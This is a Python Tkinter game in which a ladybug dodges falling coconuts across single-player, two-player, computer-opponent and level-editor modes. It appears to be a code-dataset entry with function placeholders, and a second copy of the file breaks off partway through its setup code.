and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n 